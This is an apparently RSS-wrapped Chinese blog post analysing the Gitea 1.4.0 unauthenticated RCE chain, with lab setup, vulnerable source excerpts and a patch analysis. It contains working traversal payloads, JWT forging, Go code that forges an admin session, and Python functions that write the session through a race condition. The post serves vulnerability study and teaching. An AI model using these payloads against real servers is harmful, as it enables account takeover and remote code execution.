&lt;p&gt;Gitea is a community managed &lt;a href=&#34;https://blog.gitea.io/2016/12/welcome-to-gitea/&#34;&gt;fork&lt;/a&gt; of &lt;a href=&#34;https://gogs.io/&#34;&gt;Gogs&lt;/a&gt;, lightweight code hosting solution written in &lt;a href=&#34;https://golang.org/&#34;&gt;Go&lt;/a&gt; and published under the &lt;a href=&#34;https://github.com/go-gitea/gitea/blob/master/LICENSE&#34;&gt;MIT&lt;/a&gt; license.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Git LFS 介绍&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Git 大文件存储（Large File Storage，简称LFS）目的是更好地把大型二进制文件，比如音频文件、数据集、图像和视频等集成到 Git 的工作流中。我们知道，Git 存储二进制效率不高，因为它会压缩并存储二进制文件的所有完整版本，随着版本的不断增长以及二进制文件越来越多，这种存储方案并不是最优方案。而 LFS 处理大型二进制文件的方式是用文本指针替换它们，这些文本指针实际上是包含二进制文件信息的文本文件。文本指针存储在 Git 中，而大文件本身通过HTTPS托管在Git LFS服务器上。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;本次漏洞是出现在&lt;code&gt;Gitea&lt;/code&gt;的&lt;code&gt;LFS&lt;/code&gt;处理逻辑中，在进行权限验证的时候少了一行&lt;code&gt;return&lt;/code&gt;语句，以至于即使在&lt;code&gt;401 Unauthorized&lt;/code&gt;的时候依旧能够进行后续的操作，这是整个漏洞的导火索。&lt;/p&gt;

&lt;h3 id=&#34;0x01-环境搭建&#34;&gt;0x01 环境搭建&lt;/h3&gt;

&lt;p&gt;使用docker搭建漏洞环境，&lt;code&gt;Gitea&lt;/code&gt;版本1.4.0&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://docs.gitea.io/en-us/install-with-docker/&#34;&gt;https://docs.gitea.io/en-us/install-with-docker/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;docker-compose.yml&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;version: &amp;quot;2&amp;quot;

networks:
  gitea:
    external: false

services:
  server:
    image: gitea/gitea:1.4.0
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always
    networks:
      - gitea
    volumes:
      - ./gitea:/data
    ports:
      - &amp;quot;3000:3000&amp;quot;
      - &amp;quot;222:22&amp;quot;
    depends_on:
      - db

  db:
    image: mysql:5.7
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=gitea
      - MYSQL_USER=gitea
      - MYSQL_PASSWORD=gitea
      - MYSQL_DATABASE=gitea
    networks:
      - gitea
    volumes:
      - ./mysql:/var/lib/mysql
    ports:
      - &amp;quot;3306:3306&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;安装时指定&lt;code&gt;mysql&lt;/code&gt;连接需要&lt;code&gt;vps_ip:3306&lt;/code&gt;，使用&lt;code&gt;localhost:3306&lt;/code&gt;一直提示错误&lt;/p&gt;

&lt;h3 id=&#34;0x02-逻辑漏洞&#34;&gt;0x02 逻辑漏洞&lt;/h3&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/go-gitea/gitea/blob/v1.4.0/modules/lfs/server.go#L218&#34;&gt;https://github.com/go-gitea/gitea/blob/v1.4.0/modules/lfs/server.go#L218&lt;/a&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;// PostHandler instructs the client how to upload data
func PostHandler(ctx *context.Context) {
    //...
    if !authenticate(ctx, repository, rv.Authorization, true) {
		requireAuth(ctx)
	}
	//...
}
func requireAuth(ctx *context.Context) {
	ctx.Resp.Header().Set(&amp;quot;WWW-Authenticate&amp;quot;, &amp;quot;Basic realm=gitea-lfs&amp;quot;)
	writeStatus(ctx, 401)
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;问题出在&lt;code&gt;PostHandler()&lt;/code&gt;方法，该方法的作用是创建一个新的&lt;code&gt;LFS&lt;/code&gt;对象。在&lt;code&gt;requireAuth&lt;/code&gt;处，如果权限验证失败，则执行&lt;code&gt;requireAuth ()&lt;/code&gt;，返回&lt;code&gt;401认证失败&lt;/code&gt;，关键是&lt;code&gt;requireAuth(ctx)&lt;/code&gt;结束之后没有&lt;code&gt;return&lt;/code&gt;，也就是说虽然返回&lt;code&gt;401&lt;/code&gt;但是不影响后面的逻辑接着执行，因此可以创建任意&lt;code&gt;LFS&lt;/code&gt;对象，此处存在一个权限绕过漏洞。&lt;/p&gt;

&lt;h3 id=&#34;0x03-目录穿越-任意文件读取&#34;&gt;0x03  目录穿越&amp;amp;任意文件读取&lt;/h3&gt;

&lt;p&gt;参考文档 &lt;a href=&#34;https://github.com/git-lfs/git-lfs/blob/master/docs/api/batch.md&#34;&gt;https://github.com/git-lfs/git-lfs/blob/master/docs/api/batch.md&lt;/a&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;// Get takes a Meta object and retrieves the content from the store, returning
// it as an io.Reader. If fromByte &amp;gt; 0, the reader starts from that byte
func (s *ContentStore) Get(meta *models.LFSMetaObject, fromByte int64) (io.ReadCloser, error) {
	path := filepath.Join(s.BasePath, transformKey(meta.Oid))

	f, err := os.Open(path)
	if err != nil {
		return nil, err
	}
	if fromByte &amp;gt; 0 {
		_, err = f.Seek(fromByte, os.SEEK_CUR)
	}
	return f, err
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;从&lt;code&gt;lfs&lt;/code&gt;下载文件接口是&lt;code&gt;modules/lfs/content_store.go:Get()&lt;/code&gt;方法，从&lt;code&gt;meta.Oid&lt;/code&gt;取路径去读取，这个路径处理函数是&lt;code&gt;transformKey()&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;func transformKey(key string) string {
	if len(key) &amp;lt; 5 {
		return key
	}

	return filepath.Join(key[0:2], key[2:4], key[4:])
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到&lt;code&gt;transformKey()&lt;/code&gt;方法是把key参数做了三次分割，先取两个字符，加上&lt;code&gt;/&lt;/code&gt;，然后再取两个，再加上&lt;code&gt;/&lt;/code&gt;，最后拼接后面部分，举例说明：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;abcdefgh -&amp;gt; ab/cd/efgh&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;于是此处就可以构造&lt;code&gt;..../etc/passwd&lt;/code&gt;的格式，经过&lt;code&gt;transformKey()&lt;/code&gt;后被转换成&lt;code&gt;../../etc/passwd&lt;/code&gt;，这样就存在一个任意文件读取漏洞。&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;Gitea&lt;/code&gt;中有一个关键配置文件&lt;code&gt;app.ini&lt;/code&gt;，其中记录了默认配置信息，包括数据库连接密码，一些路径和&lt;code&gt;token&lt;/code&gt;，以及LFS 认证密钥 ，该密钥用来加密JWT认证&lt;/p&gt;

&lt;p&gt;配置项更详细信息可以参考&lt;a href=&#34;https://docs.gitea.io/zh-cn/config-cheat-sheet/&#34;&gt;文档&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;当前环境中&lt;code&gt;app.ini&lt;/code&gt;位置在&lt;code&gt;/data/gitea/conf/app.ini&lt;/code&gt;，所以需要构造&lt;code&gt;....gitea/conf/app.ini&lt;/code&gt;，经过处理变成&lt;code&gt;/data/gitea/lfs/../../gitea/conf/app.ini&lt;/code&gt;，也就是&lt;code&gt;/data/gitea/conf/app.ini&lt;/code&gt;，这样就能读取到配置文件，注意需要对&lt;code&gt;/&lt;/code&gt;进行&lt;code&gt;url&lt;/code&gt;编码&lt;/p&gt;

&lt;p&gt;访问LFS存储对象的接口是&lt;code&gt;https://git-server.com/foo/bar.git/info/lfs/objects/batch&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1531882119588.png&#34; alt=&#34;1531882119588&#34; /&gt;&lt;/p&gt;

&lt;p&gt;由此我们获取到了&lt;code&gt;LFS_JWT_SECRET&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x04-构造authorization&#34;&gt;0x04 构造Authorization&lt;/h3&gt;

&lt;p&gt;LFS接口认证过程使用了JWT或Basic认证，&lt;a href=&#34;https://jwt.io/introduction/&#34;&gt;官网介绍&lt;/a&gt;JWT：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;JSON Web Token (JWT)&lt;/code&gt; is an open standard (&lt;a href=&#34;https://tools.ietf.org/html/rfc7519&#34;&gt;RFC 7519&lt;/a&gt;) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. JWTs can be signed using a secret (with the &lt;strong&gt;HMAC&lt;/strong&gt; algorithm) or a public/private key pair using &lt;strong&gt;RSA&lt;/strong&gt; or &lt;strong&gt;ECDSA&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Although JWTs can be encrypted to also provide secrecy between parties, we will focus on &lt;em&gt;signed&lt;/em&gt; tokens. Signed tokens can verify the &lt;em&gt;integrity&lt;/em&gt; of the claims contained within it, while encrypted tokens &lt;em&gt;hide&lt;/em&gt; those claims from other parties. When tokens are signed using public/private key pairs, the signature also certifies that only the party holding the private key is the one that signed it.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;所以我们一旦获得了&lt;code&gt;LFS_JWT_SECRET&lt;/code&gt;，就可以自己构造JWT认证，从而在不知道管理员账户密码的情况下取得LFS的完整控制权。&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;modules/lfs/server.go&lt;/code&gt;定义了LFS接口认证登录的方法：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;func parseToken(authorization string) (*models.User, *models.Repository, string, error) {
	if authorization == &amp;quot;&amp;quot; {
		return nil, nil, &amp;quot;unknown&amp;quot;, fmt.Errorf(&amp;quot;No token&amp;quot;)
	}
	if strings.HasPrefix(authorization, &amp;quot;Bearer &amp;quot;) {
		token, err := jwt.Parse(authorization[7:], func(t *jwt.Token) (interface{}, error) {
			if _, ok := t.Method.(*jwt.SigningMethodHMAC); !ok {
				return nil, fmt.Errorf(&amp;quot;unexpected signing method: %v&amp;quot;, t.Header[&amp;quot;alg&amp;quot;])
			}
			return setting.LFS.JWTSecretBytes, nil
		})
		if err != nil {
			return nil, nil, &amp;quot;unknown&amp;quot;, err
		}
		claims, claimsOk := token.Claims.(jwt.MapClaims)
		if !token.Valid || !claimsOk {
			return nil, nil, &amp;quot;unknown&amp;quot;, fmt.Errorf(&amp;quot;Token claim invalid&amp;quot;)
		}
		opStr, ok := claims[&amp;quot;op&amp;quot;].(string)
		if !ok {
			return nil, nil, &amp;quot;unknown&amp;quot;, fmt.Errorf(&amp;quot;Token operation invalid&amp;quot;)
		}
		repoID, ok := claims[&amp;quot;repo&amp;quot;].(float64)
		if !ok {
			return nil, nil, opStr, fmt.Errorf(&amp;quot;Token repository id invalid&amp;quot;)
		}
		r, err := models.GetRepositoryByID(int64(repoID))
		if err != nil {
			return nil, nil, opStr, err
		}
		userID, ok := claims[&amp;quot;user&amp;quot;].(float64)
		if !ok {
			return nil, r, opStr, fmt.Errorf(&amp;quot;Token user id invalid&amp;quot;)
		}
		u, err := models.GetUserByID(int64(userID))
		if err != nil {
			return nil, r, opStr, err
		}
		return u, r, opStr, nil
	}
    if strings.HasPrefix(authorization, &amp;quot;Basic &amp;quot;) {
        //...
    }
    return nil, nil, &amp;quot;unknown&amp;quot;, fmt.Errorf(&amp;quot;Token not found&amp;quot;)
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到构成JWT的&lt;code&gt;payload&lt;/code&gt;部分需要包含这么几个字段：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;user&amp;quot;: 1,
  &amp;quot;repo&amp;quot;: 1,
  &amp;quot;op&amp;quot;: &amp;quot;upload&amp;quot;,
  &amp;quot;nbf&amp;quot;: 1445408221,
  &amp;quot;exp&amp;quot;: 1618208221
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;分别是用户id，LFS项目id，LFS操作，以及&lt;code&gt;HTTPAuth&lt;/code&gt;有效时间&lt;/p&gt;

&lt;p&gt;我们在&lt;a href=&#34;https://jwt.io/#debugger&#34;&gt;JWT debugger页面&lt;/a&gt;测试生成一段&lt;code&gt;Auth Token&lt;/code&gt;，填入&lt;code&gt;payload&lt;/code&gt;和上一步获取到的&lt;code&gt;LFS_JWT_SECRET&lt;/code&gt;，于是得到了LFS认证的&lt;code&gt;Authorization&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1531883703859.png&#34; alt=&#34;1531883703859&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x05-伪造session绕过登录&#34;&gt;0x05 伪造session绕过登录&lt;/h3&gt;

&lt;p&gt;在&lt;code&gt;modules/lfs/server.go&lt;/code&gt; 定义了LFS中的路由接口&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;// ObjectOidHandler is the main request routing entry point into LFS server functions
func ObjectOidHandler(ctx *context.Context) {
	if !setting.LFS.StartServer {
		writeStatus(ctx, 404)
		return
	}
	if ctx.Req.Method == &amp;quot;GET&amp;quot; || ctx.Req.Method == &amp;quot;HEAD&amp;quot; {
		if MetaMatcher(ctx.Req) {
			getMetaHandler(ctx)
			return
		}
		if ContentMatcher(ctx.Req) || len(ctx.Params(&amp;quot;filename&amp;quot;)) &amp;gt; 0 {
			getContentHandler(ctx)
			return
		}
	} else if ctx.Req.Method == &amp;quot;PUT&amp;quot; &amp;amp;&amp;amp; ContentMatcher(ctx.Req) {
		PutHandler(ctx)
		return
	}
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其中写入文件接口是在&lt;code&gt;PutHandler()&lt;/code&gt;，需要使用&lt;code&gt;PUT&lt;/code&gt;方法。跟入&lt;code&gt;Put()&lt;/code&gt;看一下&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;// Put takes a Meta object and an io.Reader and writes the content to the store.
func (s *ContentStore) Put(meta *models.LFSMetaObject, r io.Reader) error {
	path := filepath.Join(s.BasePath, transformKey(meta.Oid))
	tmpPath := path + &amp;quot;.tmp&amp;quot;

	dir := filepath.Dir(path)
	if err := os.MkdirAll(dir, 0750); err != nil {
		return err
	}

	file, err := os.OpenFile(tmpPath, os.O_CREATE|os.O_WRONLY|os.O_EXCL, 0640)
	if err != nil {
		return err
	}
	defer os.Remove(tmpPath)

	hash := sha256.New()
	hw := io.MultiWriter(hash, file)

	written, err := io.Copy(hw, r)
	if err != nil {
		file.Close()
		return err
	}
	file.Close()

	if written != meta.Size {
		return errSizeMismatch
	}

	shaStr := hex.EncodeToString(hash.Sum(nil))
	if shaStr != meta.Oid {
		return errHashMismatch
	}

	return os.Rename(tmpPath, path)
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到该方法主要是先创建临时文件，以&lt;code&gt;.tmp&lt;/code&gt;结尾，然后对文件进行了一系列校验，包括文件大小和&lt;code&gt;Oid&lt;/code&gt;信息，两者如果任一不匹配的话就写入失败，同时删除临时文件。注意这行语句&lt;/p&gt;

&lt;p&gt;&lt;code&gt;defer os.Remove(tmpPath)&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;defer&lt;/code&gt;用于资源的释放，会在函数返回之前进行调用。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;也就是说不管函数是否返回错误，结束时都会删除临时文件。&lt;/p&gt;

&lt;p&gt;这时就要考虑两点：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;在文件被删除之前利用；&lt;/li&gt;
&lt;li&gt;如何利用后缀为.tmp的文件；&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;先考虑第一个问题，在文件被删除之前访问到这个文件。这种情况让我们想到在上传webshell时可以利用的条件竞争漏洞，在文件被删除之前使用多线程并发访问，利用时间差访问到上传文件然后生成shell。但是这个方法在此处不适用，根据作者想出的办法，利用&lt;code&gt;Content-Length&lt;/code&gt;字段，该字段告诉服务器该请求需要发送多少长度的数据， 在传输完成之前服务器会处于一直等待阶段。假设我们设置了一个超长的&lt;code&gt;Content-Length&lt;/code&gt;，服务器就会认为数据还没有传输完成便挂起等待，这个时间段内我们就可以访问到上传的文件。&lt;/p&gt;

&lt;p&gt;接着考虑第二个问题，如何利用&lt;code&gt;.tmp&lt;/code&gt;文件？&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;Gitea&lt;/code&gt;可以配置存储session的方式，默认是保存为文件，存储路径在&lt;code&gt;/data/gitea/sessions&lt;/code&gt;。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;//app.ini
[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER        = file
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;于是我们可以想到把上面生成的session内容写入到一个&lt;code&gt;.tmp&lt;/code&gt;文件，并保存在session目录下，这个tmp文件名即为&lt;code&gt;sessionid&lt;/code&gt;，然后利用条件竞争，在文件未被删除之前带上这个&lt;code&gt;sessionid&lt;/code&gt;，就可以登录成功。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Gitea&lt;/code&gt;使用的session模块是&lt;a href=&#34;https://github.com/go-macaron/session&#34;&gt;go-macaron/session&lt;/a&gt;，在&lt;code&gt;file.go&lt;/code&gt;可以看到几个关键的方法&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;// Release releases resource and save data to provider.
func (s *FileStore) Release() error {
	s.p.lock.Lock()
	defer s.p.lock.Unlock()

	data, err := EncodeGob(s.data)
	if err != nil {
		return err
	}

	return ioutil.WriteFile(s.p.filepath(s.sid), data, os.ModePerm)
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;调用了&lt;code&gt;EncodeGob()&lt;/code&gt;方法&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
	for _, v := range obj {
		gob.Register(v)
	}
	buf := bytes.NewBuffer(nil)
	err := gob.NewEncoder(buf).Encode(obj)
	return buf.Bytes(), err
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后写入文件&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;func (p *FileProvider) filepath(sid string) string {
	return path.Join(p.rootPath, string(sid[0]), string(sid[1]), sid)
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到session的生成是通过特有的Gob序列化后保存成文件，路径特点是&lt;code&gt;sid[0]/sid[1]/sid&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;我们来分析一个认证成功的session&lt;code&gt;/data/gitea/sessions/0/9/09cfb25c946d6187&lt;/code&gt;，前两位为路径名，后面为sid，共同组成一个session文件&lt;/p&gt;

&lt;p&gt;我们使用相应的&lt;code&gt;DecodeGob()&lt;/code&gt;方法(vendor/github.com/go-macaron/session/utils.go:47)来解开看一下session里包含的内容，其中&lt;code&gt;session_data&lt;/code&gt;即是&lt;code&gt;session&lt;/code&gt;文件的hex内容。代码如下&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;package main

import (
	&amp;quot;encoding/gob&amp;quot;
	&amp;quot;encoding/hex&amp;quot;
	&amp;quot;fmt&amp;quot;
	&amp;quot;bytes&amp;quot;
)

func DecodeGob(encoded []byte) (out map[interface{}]interface{}, err error) {
	buf := bytes.NewBuffer(encoded)
	err = gob.NewDecoder(buf).Decode(&amp;amp;out)
	return out, err
}

func main() {
	session_data := &amp;quot;0EFF81040102...03000131&amp;quot;	//太长省略
	buf, err := hex.DecodeString(session_data)
	fmt.Println(buf)
	if err != nil {
		fmt.Println(err)
	}
	decode_data, err := DecodeGob(buf)
	if err != nil {
		fmt.Println(err)
	}
	fmt.Println(decode_data)
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;运行结果：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1531898336305.png&#34; alt=&#34;1531898336305&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到主要是以&lt;code&gt;_old_iod&lt;/code&gt; &lt;code&gt;uid&lt;/code&gt; &lt;code&gt;uname&lt;/code&gt;三个值组成的session内容，那么我们就可以构造一组这样的值来伪造一个session&lt;/p&gt;

&lt;p&gt;&lt;code&gt;[uid:1 uname:admin123 _old_uid:1]&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;生成session使用&lt;code&gt;EncodeGob()&lt;/code&gt;方法：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;package main

import (
	&amp;quot;encoding/gob&amp;quot;
	&amp;quot;encoding/hex&amp;quot;
	&amp;quot;fmt&amp;quot;
	&amp;quot;bytes&amp;quot;
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
	for _, v := range obj {
		gob.Register(v)
	}
	buf := bytes.NewBuffer(nil)
	err := gob.NewEncoder(buf).Encode(obj)
	return buf.Bytes(), err
}

func main() {
	//var uid = 1
	//uname := &amp;quot;admin123&amp;quot;
	obj := map[interface{}]interface{}{&amp;quot;_old_iod&amp;quot;: &amp;quot;1&amp;quot;, &amp;quot;uid&amp;quot;: 1, &amp;quot;uname&amp;quot;: &amp;quot;admin123&amp;quot;}
	buf, err := EncodeGob(obj)
	if err != nil {
		fmt.Println(err)
	}
	fmt.Println(buf)
	encode_data := hex.EncodeToString(buf)
	fmt.Println(encode_data)
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;运行之后生成一个hex序列&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1531898708274.png&#34; alt=&#34;1531898708274&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这段序列里就包含了session信息，包括 &lt;code&gt;_old_iod&lt;/code&gt; &lt;code&gt;uid&lt;/code&gt; &lt;code&gt;uname&lt;/code&gt;，然后我们可以利用这个伪造的&lt;code&gt;session&lt;/code&gt;成功登录&lt;/p&gt;

&lt;h3 id=&#34;0x06-漏洞利用&#34;&gt;0x06 漏洞利用&lt;/h3&gt;

&lt;h5 id=&#34;1-读取-app-ini-获得-lfs-jwt-secret&#34;&gt;1. 读取&lt;code&gt;app.ini&lt;/code&gt;，获得&lt;code&gt;LFS_JWT_SECRET&lt;/code&gt;&lt;/h5&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1531882119588.png&#34; alt=&#34;1531882119588&#34; /&gt;&lt;/p&gt;

&lt;h5 id=&#34;2-针对-session-文件名创建-lfs-对象&#34;&gt;2. 针对&lt;code&gt;session&lt;/code&gt;文件名创建&lt;code&gt;LFS&lt;/code&gt;对象&lt;/h5&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;def create_lfs_object(session):
    oid = &#39;....gitea/sessions/1/1/11session&#39;
    data = {
        &amp;quot;Oid&amp;quot;: oid,
        &amp;quot;Size&amp;quot;: 1000,
        &amp;quot;User&amp;quot;: &amp;quot;a&amp;quot;,
        &amp;quot;Password&amp;quot;: &amp;quot;a&amp;quot;,
        &amp;quot;Repo&amp;quot;: &amp;quot;a&amp;quot;,
        &amp;quot;Authorization&amp;quot;: &amp;quot;a&amp;quot;
    }

    url = &#39;%s.git/info/lfs/objects&#39; % (GIT_URL)
    response = session.post(
        url,
        json=data,
        headers={
            &#39;Accept&#39;: &#39;application/vnd.git-lfs+json&#39;
        }
    )
    logging.info(response.text)
&lt;/code&gt;&lt;/pre&gt;

&lt;h5 id=&#34;3-生成-authorization&#34;&gt;3. 生成&lt;code&gt;Authorization&lt;/code&gt;&lt;/h5&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1531883703859.png&#34; alt=&#34;1531883703859&#34; /&gt;&lt;/p&gt;

&lt;h5 id=&#34;4-生成-session-数据&#34;&gt;4. 生成&lt;code&gt;session&lt;/code&gt;数据&lt;/h5&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1531898708274.png&#34; alt=&#34;1531898708274&#34; /&gt;&lt;/p&gt;

&lt;h5 id=&#34;5-写入-session-数据&#34;&gt;5. 写入&lt;code&gt;session&lt;/code&gt;数据&lt;/h5&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;def write_session(session):
    oid = &#39;....gitea/sessions/1/1/11session&#39;
    url = &#39;%s.git/info/lfs/objects/%s&#39; % (GIT_URL, urllib.quote(oid, safe=&#39;&#39;))
    print url
    response = session.put(url, data=gen_data(), headers={
        &#39;Accept&#39;: &#39;application/vnd.git-lfs&#39;,
        &#39;Content-Type&#39;: &#39;application/vnd.git-lfs&#39;,
        &#39;Authorization&#39;: &#39;Bearer &#39; + AUTH_TOKEN
    })
    logging.info(response.text)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其中&lt;code&gt;gen_data()&lt;/code&gt;使用生成器来延迟响应时间，在这段时间内&lt;code&gt;.tmp&lt;/code&gt;文件未被删除&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;def gen_data():
    yield SESSION_DATA
    time.sleep(300)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;HEX_DATA&lt;/code&gt;是生成的&lt;code&gt;session&lt;/code&gt;数据&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;HEX_DATA = &#39;0eff81040102ff8...d696e313233&#39;	//hex_data
SESSION_DATA = HEX_DATA.decode(&#39;hex&#39;)
&lt;/code&gt;&lt;/pre&gt;

&lt;h5 id=&#34;6-修改session&#34;&gt;6. 修改Session&lt;/h5&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1531905605099.png&#34; alt=&#34;1531905605099&#34; /&gt;&lt;/p&gt;

&lt;p&gt;后续利用&lt;code&gt;Git Hooks&lt;/code&gt;自动执行命令就不多说了&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1531905731043.png&#34; alt=&#34;1531905731043&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x07-补丁分析&#34;&gt;0x07 补丁分析&lt;/h3&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/go-gitea/gitea/pull/3871/commits/61d86164b7a81cf478b28ed3ffd9aa83d33116d9&#34;&gt;https://github.com/go-gitea/gitea/pull/3871/commits/61d86164b7a81cf478b28ed3ffd9aa83d33116d9&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;分析补丁主要做了三块工作：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;首先把缺少的&lt;code&gt;return&lt;/code&gt;给补上了&lt;/li&gt;
&lt;li&gt;限定了&lt;code&gt;oid&lt;/code&gt;参数值必须符合&lt;code&gt;sha256&lt;/code&gt;格式，如果查询的&lt;code&gt;oid&lt;/code&gt;不存在则返回404，这样我们就无法指定任意&lt;code&gt;oid&lt;/code&gt;值&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1531798747694.png&#34; alt=&#34;1531798747694&#34; /&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;然后使用&lt;code&gt;path.Clean()&lt;/code&gt;方法过滤多余的&lt;code&gt;.&lt;/code&gt;和&lt;code&gt;/&lt;/code&gt;，限制&lt;code&gt;repo&lt;/code&gt;里不能出现&lt;code&gt;.&lt;/code&gt;和&lt;code&gt;/&lt;/code&gt;字符&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1531804973465.png&#34; alt=&#34;1531804973465&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1531804989614.png&#34; alt=&#34;1531804989614&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x08-总结&#34;&gt;0x08 总结&lt;/h3&gt;

&lt;p&gt;该漏洞利用非常巧妙，由一处缺少的&lt;code&gt;return&lt;/code&gt;层层深入，从权限绕过到文件读取，从伪造session到条件竞争，到最后的远程代码执行，一条漏洞链就串起来了，可谓十分精彩，也从侧面反映了一处小疏忽也会导致严重的后果。&lt;/p&gt;

&lt;p&gt;参考：&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://security.szurek.pl/gitea-1-4-0-unauthenticated-rce.html&#34;&gt;https://security.szurek.pl/gitea-1-4-0-unauthenticated-rce.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html&#34;&gt;https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html&lt;/a&gt;&lt;/p&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>CVE-2018-7602 Drupal 内核远程代码执行漏洞分析</title>
      <link>https://kylingit.com/blog/cve-2018-7602-drupal-%E5%86%85%E6%A0%B8%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
